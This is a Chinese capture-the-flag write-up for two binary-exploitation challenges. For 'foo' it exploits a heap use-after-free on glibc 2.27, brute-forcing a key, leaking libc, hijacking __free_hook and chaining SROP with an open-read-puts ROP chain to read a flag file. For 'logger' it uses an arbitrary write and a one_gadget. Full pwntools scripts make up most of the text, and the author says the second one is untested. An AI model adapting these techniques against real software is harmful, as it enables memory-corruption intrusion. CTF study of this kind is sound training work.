护网杯线上WP,更新了一下 附件
foo
题目是一个菜单堆,因为有一个随机值作为key,所以不好操作,漏洞点是UAF,2.27的环境
1. 首先清空所有的0x40块,因为可以一直覆盖同一个Index,所以配合edit,一字节一字节的爆破,最多256*4次,即可拿到随机值key
2. 继续申请并释放一定量的0x40的块填满TCache 以及 放几个chunk到fastbin,利用scanf("%ld')让块进入smallbin
3. case5的gift将smallbin中的这个块给切割出来,同时切割一个剩下的在unsorted bin中的chunk,用show打印libc出来
4. 因为malloc(0x180)的块是由之前UAF的块组合的,所以在这里面布置好key值,即可绕过key值检测从而攻击到free_hook并利用malloc(0x180)的块构造SROP
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | context.arch = 'AMD64' |
4 | def menu(ch): |
5 | p.sendlineafter('Your choice: ',str(ch)) |
6 | def new(index): |
7 | menu(1) |
8 | p.sendlineafter('Index:',str(index)) |
9 | def edit(index,content): |
10 | menu(2) |
11 | p.sendlineafter('Index:',str(index)) |
12 | p.sendafter('Content:',content) |
13 | def show(index): |
14 | menu(3) |
15 | p.sendlineafter('Index:',str(index)) |
16 | def free(index): |
17 | menu(4) |
18 | p.sendlineafter('Index:',str(index)) |
19 | def gift(content): |
20 | menu(5) |
21 | p.sendafter('cookie?',content) |
22 | p = process('./main') |
23 | libc =ELF('./libc-2.27.so') |
24 | for i in range(12): |
25 | new(0) |
26 | def bf(key): |
27 | try: |
28 | new(0) |
29 | edit(0,'\x00'*0x28 + key) |
30 | menu(2) |
31 | p.sendlineafter('Index:','0') |
32 | data = p.recvuntil('Content:',timeout=0.05) |
33 | if 'Content' in data: |
34 | return True |
35 | except: |
36 | return False |
37 | key = '' |
38 | for n in range(4): |
39 | for i in range(256): |
40 | tmp = key + chr(i) |
41 | if bf(tmp): |
42 | key += chr(i) |
43 | p.sendline('FMYY') |
44 | break |
45 | else: |
46 | continue |
47 | log.info('Key:\t' + key) |
48 | for i in range(15): |
49 | new(i + 1) |
50 | for i in range(7): |
51 | free(15 - i) |
52 | for i in range(8): |
53 | free(15 - 7 - i) |
54 | menu('0'*0x500) |
55 | |
56 | gift(('\x00'*0x28 + key + p32(0) + p64(0) + p64(0x41))*5) |
57 | #gdb.attach(p,"set *$rebase(0x202028)=0xDEADBEEF") |
58 | |
59 | for i in range(7): |
60 | new(i + 9) |
61 | |
62 | new(0) |
63 | show(0) |
64 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] -0x70 |
65 | log.info('LIBC:\t' + hex(libc_base)) |
66 | free(2) |
67 | gift(('\x00'*0x28 + key + p32(0) + p64(0) + p64(0x41))*5) |
68 | free(2) |
69 | new(0) |
70 | edit(0,p64(libc_base + libc.sym['__free_hook'])) |
71 | new(0) |
72 | new(0) |
73 | edit(0,p64(libc_base + libc.sym['setcontext'] + 53)) |
74 | #########################################3 |
75 | free_hook = libc_base + libc.sym['__free_hook'] |
76 | Open = libc_base + libc.symbols["open"] |
77 | Read = libc_base + libc.symbols["read"] |
78 | Puts = libc_base + libc.symbols['puts'] |
79 | syscall = libc_base + libc.sym['syscall'] |
80 | pop_rdi_ret = libc_base + 0x000000000002155F |
81 | pop_rdx_ret = libc_base + 0x0000000000001B96 |
82 | pop_rsi_ret = libc_base + 0x0000000000023E8A |
83 | pop_rax_ret = libc_base + 0x0000000000043A78 |
84 | frame = SigreturnFrame() |
85 | frame.rax = 0 |
86 | frame.rdi = 0 |
87 | frame.rsi = free_hook |
88 | frame.rdx = 0x2000 |
89 | frame.rsp = free_hook |
90 | frame.rip = Read |
91 | |
92 | orw = p64(pop_rax_ret) + p64(2) |
93 | orw += p64(pop_rdi_ret)+p64(free_hook + 0xF8) |
94 | orw += p64(pop_rsi_ret)+p64(0) |
95 | orw += p64(syscall + 23) |
96 | orw += p64(pop_rdi_ret) + p64(3) |
97 | orw += p64(pop_rdx_ret) + p64(0x30) |
98 | orw += p64(pop_rsi_ret) + p64(free_hook+0x100) |
99 | orw += p64(Read) |
100 | orw += p64(pop_rdi_ret)+p64(free_hook+0x100) |
101 | orw += p64(Puts) |
102 | orw = orw.ljust(0xF8,'\x00') |
103 | orw += './flag\x00\x00' |
104 | ################################### |
105 | gift(str(frame)) |
106 | sleep(0.2) |
107 | p.sendline(orw) |
108 | p.interactive() |
logger
一开始有点没看懂,后面发现有个任意写,没环境,libxml2.so.2 和 libicuuc.so.63弄了好久没弄好,真够烦人的,lib都不给全,然后看了下Nu1L公布的WP把步骤补全了,不清楚能否打通
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('Exit',str(ch)) |
5 | def leak(content): |
6 | menu(1) |
7 | p.sendafter('Content:',content) |
8 | def write(idx,content): |
9 | menu(2) |
10 | p.sendafter('Content:',content) |
11 | p.sendlineafter('ID',str(idx)) |
12 | def exit(content): |
13 | menu(3) |
14 | p.sendafter('Content:',content) |
15 | def edit(offset,content): |
16 | for i in range(len(content)): |
17 | tmp = ord(content[i]) |
18 | if tmp: |
19 | write(offset + i,'U'*tmp) |
20 | else: |
21 | write(offset + i,'U'*0x100) |
22 | p = process('./main') |
23 | elf =ELF('./main') |
24 | libc =ELF('./libc-2.30.so') |
25 | edit(-6032,p64(elf.got['__libc_start_main'])) |
26 | leak('FMYY') |
27 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__libc_start_main'] |
28 | log.info('LIBC:\t' + hex(libc_base)) |
29 | |
30 | edit(0xD8,p64(0x67F8B0)) |
31 | edit(0x88,p64(elf.bss() + 0x1000)) |
32 | edit(0x100 + 0x38 ,p64(libc_base + 0xF1207)) |
33 | edit(-16,p64(0x67F7B0)) |
34 | menu(4) |
35 | p.interactive() |